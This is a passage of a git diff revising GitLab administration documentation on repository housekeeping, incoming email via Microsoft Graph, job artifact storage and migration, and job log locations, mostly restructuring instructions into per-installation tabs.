optionally be enabled -for the [manual trigger](#manual-trigger) and the [push-based trigger](#push-based-trigger) -by enabling the `optimized_housekeeping` feature flag. +[scheduled housekeeping](#scheduled-housekeeping). Heuristical housekeeping uses the following information to decide on the tasks it needs to run: @@ -99,7 +93,7 @@ There are different ways in which GitLab runs housekeeping tasks: - A project's administrator can [manually trigger](#manual-trigger) repository housekeeping tasks. -- GitLab can automatically schedule housekeeping tasks [after a number of Git pushes](#push-based-trigger). +- GitLab can automatically schedule housekeeping tasks after a number of Git pushes. - GitLab can [schedule a job](#scheduled-housekeeping) that runs housekeeping tasks for all repositories in a configurable time frame. @@ -120,65 +114,10 @@ To trigger housekeeping tasks manually: 1. Select **Run housekeeping**. This starts an asynchronous background worker for the project's repository. The -background worker executes `git gc`, which performs a number of optimizations. - - - -### Push-based trigger - -FLAG: -On self-managed GitLab, by default this feature is not available and superseded by [heuristical housekeeping](#heuristical-housekeeping). It is planned to be removed in 15.8. To enable the feature, ask an administrator to [disable the feature flag](feature_flags.md) named `optimize_repository`. - -GitLab automatically runs repository housekeeping tasks after a configured -number of pushes: - -- [`git gc`](https://git-scm.com/docs/git-gc) runs a number of housekeeping tasks such as: - - Compressing Git objects to reduce disk space and increase performance. - - Removing unreachable objects that may have been created from changes to the repository, like force-overwriting branches. -- [`git repack`](https://git-scm.com/docs/git-repack) either: - - Runs an incremental repack, according to a [configured period](#configure-push-based-maintenance). This - packs all loose objects into a new packfile and prunes the now-redundant loose objects. - - Runs a full repack, according to a [configured period](#configure-push-based-maintenance). This repacks all - packfiles and loose objects into a single new packfile, and deletes the old now-redundant loose - objects and packfiles. It also optionally creates bitmaps for the new packfile. -- [`git pack-refs`](https://git-scm.com/docs/git-pack-refs) compresses references - stored as loose files into a single file. - -#### Configure push-based maintenance - -You can change how often these tasks run when pushes occur, or you can turn -them off entirely: - -1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Settings > Repository**. -1. Expand **Repository maintenance**. -1. In the **Housekeeping** section, configure the housekeeping options. -1. Select **Save changes**. - -The following housekeeping options are available: - -- **Enable automatic repository housekeeping**: Regularly run housekeeping tasks. If you - keep this setting disabled for a long time, Git repository access on your GitLab server becomes - slower and your repositories use more disk space. -- **Incremental repack period**: Number of Git pushes after which an incremental `git repack` is - run. -- **Full repack period**: Number of Git pushes after which a full `git repack` is run. -- **Git GC period**: Number of Git pushes after which `git gc` is run. - -As an example, see the following scenario: - -- Incremental repack period: 10. -- Full repack period: 50. -- Git GC period: 200. - -When the: - -- `pushes_since_gc` value is 50, a `repack -A -l -d --pack-kept-objects` runs. -- `pushes_since_gc` value is 200, a `git gc` runs. +background worker asks Gitaly to perform a number of optimizations. Housekeeping also [removes unreferenced LFS files](../raketasks/cleanup.md#remove-unreferenced-lfs-files) -from your project on the same schedule as the `git gc` operation, freeing up storage space for your -project. +from your project every `200` push, freeing up storage space for your project. ### Scheduled housekeeping diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 826340ad967..2093d55d8c0 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -304,7 +304,12 @@ gitlab_rails['incoming_email_mailbox_name'] = "inbox" # The IDLE command timeout. gitlab_rails['incoming_email_idle_timeout'] = 60 +# If you are using Microsoft Graph instead of IMAP, set this to false to retain +# messages in the inbox because deleted messages are auto-expunged after some time. +gitlab_rails['incoming_email_delete_after_delivery'] = true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery +# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. gitlab_rails['incoming_email_expunge_deleted'] = true ``` @@ -342,7 +347,12 @@ incoming_email: # The IDLE command timeout. idle_timeout: 60 + # If you are using Microsoft Graph instead of IMAP, set this to false to retain + # messages in the inbox because deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery + # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. expunge_deleted: true ``` @@ -386,7 +396,12 @@ gitlab_rails['incoming_email_mailbox_name'] = "inbox" # The IDLE command timeout. gitlab_rails['incoming_email_idle_timeout'] = 60 +# If you are using Microsoft Graph instead of IMAP, set this to false if you want to retain +# messages in the inbox because deleted messages are auto-expunged after some time. +gitlab_rails['incoming_email_delete_after_delivery'] = true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery +# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. gitlab_rails['incoming_email_expunge_deleted'] = true ``` @@ -424,7 +439,12 @@ incoming_email: # The IDLE command timeout. idle_timeout: 60 + # If you are using Microsoft Graph instead of IMAP, set this to falseto retain + # messages in the inbox because deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery + # Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. expunge_deleted: true ``` @@ -467,6 +487,7 @@ gitlab_rails['incoming_email_port'] = 993 gitlab_rails['incoming_email_ssl'] = true # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery +# Only applies to IMAP. Microsoft Graph will auto-expunge any deleted messages. gitlab_rails['incoming_email_expunge_deleted'] = true ``` @@ -497,6 +518,10 @@ incoming_email: # Whether the IMAP server uses SSL ssl: true + # If you are using Microsoft Graph instead of IMAP, set this to false to retain + # messages in the inbox since deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery expunge_deleted: true ``` @@ -557,6 +582,10 @@ incoming_email: # Whether the IMAP server uses SSL ssl: true + # If you are using Microsoft Graph instead of IMAP, set this to false to retain + # messages in the inbox since deleted messages are auto-expunged after some time. + delete_after_delivery: true + # Whether to expunge (permanently remove) messages from the mailbox when they are marked as deleted after delivery expunge_deleted: true ``` @@ -812,6 +841,7 @@ gitlab_rails['incoming_email_address'] = "incoming+%{key}@example.onmicrosoft.co # Email account username gitlab_rails['incoming_email_email'] = "incoming@example.onmicrosoft.com" +gitlab_rails['incoming_email_delete_after_delivery'] = false gitlab_rails['incoming_email_inbox_method'] = 'microsoft_graph' gitlab_rails['incoming_email_inbox_options'] = { diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index 59746fc0f07..5215f0eaed2 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -912,7 +912,7 @@ An upper and lower limit applies to each of these: The lower limits result in additional diffs being collapsed. The higher limits prevent any more changes from rendering. For more information about these limits, -[read the development documentation](../development/diffs.md#diff-limits). +[read the development documentation](../development/merge_request_concepts/diffs/index.md#diff-limits). ### Merge request reports size limit diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index fb2f73876e8..816cfcb508d 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -16,26 +16,85 @@ finishes. This feature is enabled by default in all GitLab installations. To disable artifacts site-wide: -**In Omnibus installations:** +::Tabs -1. Edit `/etc/gitlab/gitlab.rb` and add the following line: +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: ```ruby gitlab_rails['artifacts_enabled'] = false ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + artifacts: + enabled: false + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: -**In installations from source:** + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['artifacts_enabled'] = false + ``` -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: ```yaml - artifacts: - enabled: false + production: &base + artifacts: + enabled: false + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +::EndTabs ## Storing job artifacts @@ -48,45 +107,63 @@ Most artifacts are compressed by GitLab Runner before being sent to the coordina ### Using local storage -To change the location where the artifacts are stored locally, follow the steps -below. +If you're using the Linux package or have a self-compiled installation, you +can change the location where the artifacts are stored locally. + +NOTE: +For Docker installations, you can change the path where your data is mounted. +For the Helm chart, use +[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/). -**In Omnibus installations:** +::Tabs -_The artifacts are stored by default in -`/var/opt/gitlab/gitlab-rails/shared/artifacts`._ +:::TabTitle Linux package (Omnibus) -1. To change the storage path for example to `/mnt/storage/artifacts`, edit +The artifacts are stored by default in `/var/opt/gitlab/gitlab-rails/shared/artifacts`. + +1. To change the storage path, for example to `/mnt/storage/artifacts`, edit `/etc/gitlab/gitlab.rb` and add the following line: ```ruby gitlab_rails['artifacts_path'] = "/mnt/storage/artifacts" ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` -**In installations from source:** +:::TabTitle Self-compiled (source) -_The artifacts are stored by default in -`/home/git/gitlab/shared/artifacts`._ +The artifacts are stored by default in `/home/git/gitlab/shared/artifacts`. -1. To change the storage path for example to `/mnt/storage/artifacts`, edit +1. To change the storage path, for example to `/mnt/storage/artifacts`, edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: ```yaml - artifacts: - enabled: true - path: /mnt/storage/artifacts + production: &base + artifacts: + enabled: true + path: /mnt/storage/artifacts ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ### Using object storage If you don't want to use the local disk where GitLab is installed to store the artifacts, you can use an object storage like AWS S3 instead. -This configuration relies on valid AWS credentials to be configured already. -Use an object storage option like AWS S3 to store job artifacts. If you configure GitLab to store artifacts on object storage, you may also want to [eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage). @@ -96,149 +173,110 @@ WARNING: In a multi-server setup you must use one of the options to [eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage), or job logs could be lost. -[Read more about using object storage with GitLab](object_storage.md). - -#### Object Storage Settings - In GitLab 13.2 and later, you should use the [consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration). -This section describes the earlier configuration format. -For source installations the following settings are nested under `artifacts:` -and then `object_store:`. On Omnibus GitLab installs they are prefixed by -`artifacts_object_store_`. +### Migrating to object storage -| Setting | Default | Description | -|---------------------|---------|-------------| -| `enabled` | `false` | Enable or disable object storage. | -| `remote_directory` | | The bucket name where Artifacts are stored. Use the name only, do not include the path. | -| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | -| `connection` | | Various connection options described below. | +You can migrate the job artifacts from local storage to object storage. The +processing is done in a background worker and requires **no downtime**. -#### Connection settings +1. [Configure the object storage](#using-object-storage). +1. Migrate the artifacts: -See [the available connection settings for different providers](object_storage.md#connection-settings). + ::Tabs -**In Omnibus installations:** + :::TabTitle Linux package (Omnibus) -_The artifacts are stored by default in -`/var/opt/gitlab/gitlab-rails/shared/artifacts`._ + ```shell + sudo gitlab-rake gitlab:artifacts:migrate + ``` -1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, substituting - the values you want: + :::TabTitle Docker - ```ruby - gitlab_rails['artifacts_enabled'] = true - gitlab_rails['artifacts_object_store_enabled'] = true - gitlab_rails['artifacts_object_store_remote_directory'] = "artifacts" - gitlab_rails['artifacts_object_store_connection'] = { - 'provider' => 'AWS', - 'region' => 'eu-central-1', - 'aws_access_key_id' => 'AWS_ACCESS_KEY_ID', - 'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY' - } + ```shell + sudo docker exec -t gitlab-rake gitlab:artifacts:migrate ``` - NOTE: - If you're using AWS IAM profiles, omit the AWS access key and secret access - key/value pairs. For example: + :::TabTitle Self-compiled (source) - ```ruby - gitlab_rails['artifacts_object_store_connection'] = { - 'provider' => 'AWS', - 'region' => 'eu-central-1', - 'use_iam_profile' => true - } + ```shell + sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage). + ::EndTabs -**In installations from source:** +1. Optional. Track the progress and verify that all job artifacts migrated + successfully using the PostgreSQL console. + 1. Open a PostgreSQL console: -_The artifacts are stored by default in -`/home/git/gitlab/shared/artifacts`._ + ::Tabs -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following - lines: + :::TabTitle Linux package (Omnibus) - ```yaml - artifacts: - enabled: true - object_store: - enabled: true - remote_directory: "artifacts" # The bucket name - connection: - provider: AWS # Only AWS supported at the moment - aws_access_key_id: AWS_ACCESS_KEY_ID - aws_secret_access_key: AWS_SECRET_ACCESS_KEY - region: eu-central-1 - ``` + ```shell + sudo gitlab-psql + ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage). + :::TabTitle Docker -### Migrating to object storage + ```shell + sudo docker exec -it /bin/bash + gitlab-psql + ``` -After [configuring the object storage](#using-object-storage), use the following task to -migrate existing job artifacts from the local storage to the remote storage. -The processing is done in a background worker and requires **no downtime**. + :::TabTitle Self-compiled (source) -**In Omnibus installations:** + ```shell + sudo -u git -H psql -d gitlabhq_production + ``` -```shell -gitlab-rake gitlab:artifacts:migrate -``` + ::EndTabs -**In installations from source:** + 1. Verify that all packages migrated to object storage with the following + SQL query. The number of `objectstg` should be the same as `total`: -```shell -sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production -``` + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts; -You can optionally track progress and verify that all job artifacts migrated successfully using the -[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database): + total | filesystem | objectstg + ------+------------+----------- + 19 | 0 | 19 + ``` -- `sudo gitlab-rails dbconsole` for Omnibus GitLab 14.1 and earlier. -- `sudo gitlab-rails dbconsole --database main` for Omnibus GitLab 14.2 and later. -- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances. +1. Verify that there are no files on disk in the `artifacts` directory: -Verify `objectstg` below (where `store=2`) has count of all job artifacts: + ::Tabs -```shell -gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts; + :::TabTitle Linux package (Omnibus) -total | filesystem | objectstg -------+------------+----------- - 19 | 0 | 19 -``` + ```shell + sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l + ``` -Verify that there are no files on disk in the `artifacts` folder: + :::TabTitle Docker -```shell -sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l -``` + Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`: -In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files) -to clean up orphaned artifacts. + ```shell + sudo find /srv/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l + ``` -WARNING: -JUnit test report artifact (`junit.xml.gz`) migration -[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991) -by the `gitlab:artifacts:migrate` Rake task. + :::TabTitle Self-compiled (source) -### Migrating from object storage to local storage + ```shell + sudo find /home/git/gitlab/shared/artifacts -type f | grep -v tmp | wc -l + ``` -**In Omnibus installations:** + ::EndTabs -To migrate back to local storage: +In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files) +to clean up orphaned artifacts. -1. Run `gitlab-rake gitlab:artifacts:migrate_to_local`. -1. Disable object storage for artifacts in `gitlab.rb`: - - Set `gitlab_rails['artifacts_object_store_enabled'] = false`. - - Comment out all other `artifacts_object_store` settings, including the entire - `artifacts_object_store_connection` section, including the closing `}`. -1. [Reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure). +### Migrating from object storage to local storage + +To migrate back to local storage, you must +[selectively disable the artifacts storage](object_storage.md#selectively-disabling-object-storage). ## Expiring artifacts @@ -247,36 +285,93 @@ an expiry for the artifacts, they are marked for deletion right after that date Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq -runs every 7 minutes (`*/7 * * * *`). +runs every 7 minutes (`*/7 * * * *` in [Cron](../topics/cron/index.md) syntax). + +To change the default schedule on which the artifacts are expired: -To change the default schedule on which the artifacts are expired, follow the -steps below. +::Tabs -**In Omnibus installations:** +:::TabTitle Linux package (Omnibus) -1. Edit `/etc/gitlab/gitlab.rb` and add the following line (or uncomment it if it already exists and is commented out), substituting - your schedule in cron syntax: +1. Edit `/etc/gitlab/gitlab.rb` and add the following line (or uncomment it if + it already exists and is commented out), substituting your schedule in cron + syntax: ```ruby gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *" ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: -**In installations from source:** + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following - lines: + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: ```yaml - expire_build_artifacts_worker: - cron: "*/7 * * * *" + global: + appConfig: + cron_jobs: + expire_build_artifacts_worker: + cron: "*/7 * * * *" ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['expire_build_artifacts_worker_cron'] = "*/7 * * * *" + ``` -If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the -default artifacts expiration setting, which you can find in the [CI/CD Administration settings](../user/admin_area/settings/continuous_integration.md). +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + cron_jobs: + expire_build_artifacts_worker: + cron: "*/7 * * * *" + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Set the maximum file size of the artifacts @@ -373,13 +468,41 @@ these artifacts are not processed by the new housekeeping jobs. You can check the database to confirm if your instance has artifacts with the `unknown` status: -1. Start a database console, on Omnibus: +1. Start a database console: + + ::Tabs + + :::TabTitle Linux package (Omnibus) ```shell sudo gitlab-psql ``` -1. Run this query: + :::TabTitle Helm chart (Kubernetes) + + ```shell + # Find the toolbox pod + kubectl --namespace get pods -lapp=toolbox + # Connect to the PostgreSQL console + kubectl exec -it -- /srv/gitlab/bin/rails dbconsole --include-password --database main + ``` + + :::TabTitle Docker + + ```shell + sudo docker exec -it /bin/bash + gitlab-psql + ``` + + :::TabTitle Self-compiled (source) + + ```shell + sudo -u git -H psql -d gitlabhq_production + ``` + + ::EndTabs + +1. Run the following query: ```sql select expire_at, file_type, locked, count(*) from ci_job_artifacts @@ -652,7 +775,7 @@ review: {"error":"MissingRegion: could not find region configuration","level":"error","msg":"error uploading S3 session","time":"2021-03-16T22:10:55-04:00"} ``` -In both cases, you might need to add `region` to the job artifact [object storage configuration](#connection-settings). +In both cases, you might need to add `region` to the job artifact [object storage configuration](object_storage.md). ### Job artifact upload fails with `500 Internal Server Error (Missing file)` diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md index 9b25c70716b..c8702260ccb 100644 --- a/doc/administration/job_logs.md +++ b/doc/administration/job_logs.md @@ -7,8 +7,6 @@ type: reference # Job logs **(FREE SELF)** -> [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5. - Job logs are sent by a runner while it's processing a job. You can see logs in job pages, pipelines, email notifications, and so on. @@ -23,82 +21,125 @@ In the following table you can see the phases a log goes through: | 2: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | | 3: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | -The `ROOT_PATH` varies per environment. For Omnibus GitLab it -would be `/var/opt/gitlab`, and for installations from source -it would be `/home/git/gitlab`. +The `ROOT_PATH` varies per environment: + +- For the Linux package it's `/var/opt/gitlab`. +- For self-compiled installations it's `/home/git/gitlab`. ## Changing the job logs local location -To change the location where the job logs are stored, follow the steps below. +NOTE: +For Docker installations, you can change the path where your data is mounted. +For the Helm chart, use object storage. -**In Omnibus installations:** +To change the location where the job logs are stored: -1. Edit `/etc/gitlab/gitlab.rb` and add or amend the following line: +::Tabs - ```ruby - gitlab_ci['builds_directory'] = '/mnt/to/gitlab-ci/builds' - ``` +:::TabTitle Linux package (Omnibus) -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. +1. Optional. If you have existing job logs, pause continuous integration data + processing by temporarily stopping Sidekiq: -Alternatively, if you have existing job logs you can follow -these steps to move the logs to a new location without losing any data. + ```shell + sudo gitlab-ctl stop sidekiq + ``` -1. Pause continuous integration data processing by updating this setting in `/etc/gitlab/gitlab.rb`. - Jobs in progress are not affected, based on how [data flow](#data-flow) works. +1. Set the new storage location in `/etc/gitlab/gitlab.rb`: ```ruby - sidekiq['queue_selector'] = true - sidekiq['queue_groups'] = [ - "feature_category!=continuous_integration" - ] + gitlab_ci['builds_directory'] = '/mnt/gitlab-ci/builds' ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. -1. Set the new storage location in `/etc/gitlab/gitlab.rb`: +1. Save the file and reconfigure GitLab: - ```ruby - gitlab_ci['builds_directory'] = '/mnt/to/gitlab-ci/builds' + ```shell + sudo gitlab-ctl reconfigure ``` -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. 1. Use `rsync` to move job logs from the current location to the new location: ```shell - sudo rsync -avzh --remove-source-files --ignore-existing --progress /var/opt/gitlab/gitlab-ci/builds/ /mnt/to/gitlab-ci/builds` + sudo rsync -avzh --remove-source-files --ignore-existing --progress /var/opt/gitlab/gitlab-ci/builds/ /mnt/gitlab-ci/builds/ ``` Use `--ignore-existing` so you don't override new job logs with older versions of the same log. -1. Resume continuous integration data processing by editing `/etc/gitlab/gitlab.rb` and removing the `sidekiq` setting you updated earlier. -1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the - changes to take effect. + +1. If you opted to pause the continuous integration data processing, you can + start Sidekiq again: + + ```shell + sudo gitlab-ctl start sidekiq + ``` + 1. Remove the old job logs storage location: ```shell - sudo rm -rf /var/opt/gitlab/gitlab-ci/builds` + sudo rm -rf /var/opt/gitlab/gitlab-ci/builds ``` -**In installations from source:** +:::TabTitle Self-compiled (source) + +1. Optional. If you have existing job logs, pause continuous integration data + processing by temporarily stopping Sidekiq: + + ```shell + # For systems running systemd + sudo systemctl stop gitlab-sidekiq + + # For systems running SysV init + sudo service gitlab stop + ``` -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines: +1. Edit `/home/git/gitlab/config/gitlab.yml` to set the new storage location: ```yaml - gitlab_ci: - # The location where build logs are stored (default: builds/). - # Relative paths are relative to Rails.root. - builds_path: path/to/builds/ + production: &base + gitlab_ci: + builds_path: /mnt/gitlab-ci/builds + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +1. Use `rsync` to move job logs from the current location to the new location: + + ```shell + sudo rsync -avzh --remove-source-files --ignore-existing --progress /home/git/gitlab/builds/ /mnt/gitlab-ci/builds/ + ``` + + Use `--ignore-existing` so you don't override new job logs with older versions of the same log. + +1. If you opted to pause the continuous integration data processing, you can + start Sidekiq again: + + ```shell + # For systems running systemd + sudo systemctl start gitlab-sidekiq + + # For systems running SysV init + sudo service gitlab start + ``` + +1. Remove the old job logs storage location: + + ```shell + sudo rm -rf /home/git/gitlab/builds ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes - to take effect. +::EndTabs ## Uploading logs to object storage Archived logs are considered as [job artifacts](job_artifacts.md). -Therefore, when you [set up the object storage integration](job_artifacts.md#object-storage-settings), +Therefore, when you [set up the object storage integration](job_artifacts.md#using-object-storage), job logs are automatically migrated to it along with the other job artifacts. See "Phase 3: uploading" in [Data flow](#data-flow) to learn about the process. @@ -118,19 +159,45 @@ There isn't a way to automatically expire old job logs, but it's safe to remove them if they're taking up too much space. If you remove the logs manually, the job output in the UI is empty. -For example, to delete all job logs older than 60 days, run the following from a shell in your GitLab instance: +For example, to delete all job logs older than 60 days, run the following +command from a shell in your GitLab instance. + +NOTE: +For the Helm chart, use the storage management tools provided with your object +storage. WARNING: -This command permanently deletes the log files and is irreversible. +The following command permanently deletes the log files and is irreversible. + +::Tabs + +:::TabTitle Linux package (Omnibus) ```shell find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete ``` -NOTE: -After execution, broken file references can be reported when running -[`sudo gitlab-rake gitlab:artifacts:check`](raketasks/check.md#uploaded-files-integrity). -For more information, see [delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts). +:::TabTitle Docker + +Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`: + +```shell +find /srv/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete +``` + +:::TabTitle Self-compiled (source) + +```shell +find /home/git/gitlab/shared/artifacts -name "job.log" -mtime +60 -delete +``` + +::EndTabs + +After the logs are deleted, you can find any broken file references by running +the Rake task that checks the +[integrity of the uploaded files](raketasks/check.md#uploaded-files-integrity). +For more information, see how to +[delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts). ## Incremental logging architecture @@ -140,19 +207,48 @@ For more information, see [delete references to missing artifacts](raketasks/che > - [Recommended for production use with AWS S3](https://gitlab.com/gitlab-org/gitlab/-/issues/273498) in GitLab 13.7. > - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-incremental-logging). -By default job logs are sent from the GitLab Runner in chunks and cached temporarily on disk -in `/var/opt/gitlab/gitlab-ci/builds` by Omnibus GitLab. After the job completes, -a background job archives the job log. The log is moved to `/var/opt/gitlab/gitlab-rails/shared/artifacts/` -by default, or to object storage if configured. - -In a [scaled-out architecture](reference_architectures/index.md) with Rails and Sidekiq running on more than one -server, these two locations on the file system have to be shared using NFS. +By default, job logs are sent from the GitLab Runner in chunks and cached +temporarily on disk. After the job completes, a background job archives the job +log. The log is moved to the artifacts directory by default, or to object +storage if configured. -To eliminate both file system requirements: +In a [scaled-out architecture](reference_architectures/index.md) with Rails and +Sidekiq running on more than one server, these two locations on the file system +have to be shared using NFS, which is not recommended. Instead: -1. Configure [object storage](job_artifacts.md#object-storage-settings) for storing archived job logs. +1. Configure [object storage](job_artifacts.md#using-object-storage) for storing archived job logs. 1. [Enable the incremental logging feature](#enable-or-disable-incremental-logging), which uses Redis instead of disk space for temporary caching of job logs. +### Enable or disable incremental logging + +Before you enable the feature flag: + +- Review [the limitations of incremental logging](#limitations). +- [Enable object storage](job_artifacts.md#using-object-storage). + +To enable incremental logging: + +1. Open a [Rails console](operations/rails_console.md#starting-a-rails-console-session). +1. Enable the feature flag: + + ```ruby + Feature.enable(:ci_enable_live_trace) + ``` + + Running jobs' logs continue to be written to disk, but new jobs use + incremental logging. + +To disable incremental logging: + +1. Open a [Rails console](operations/rails_console.md#starting-a-rails-console-session). +1. Disable the feature flag: + + ```ruby + Feature.disable(:ci_enable_live_trace) + ``` + + Running jobs continue to use incremental logging, but new jobs write to the disk. + ### Technical details The data flow is the same as described in the [data flow section](#data-flow) @@ -178,36 +274,7 @@ Here is the detailed data flow: ### Limitations - [Redis Cluster is not supported](https://gitlab.com/gitlab-org/gitlab/-/issues/224171). -- You must configure [object storage for CI/CD artifacts, logs, and builds](job_artifacts.md#object-storage-settings) +- You must configure [object storage for 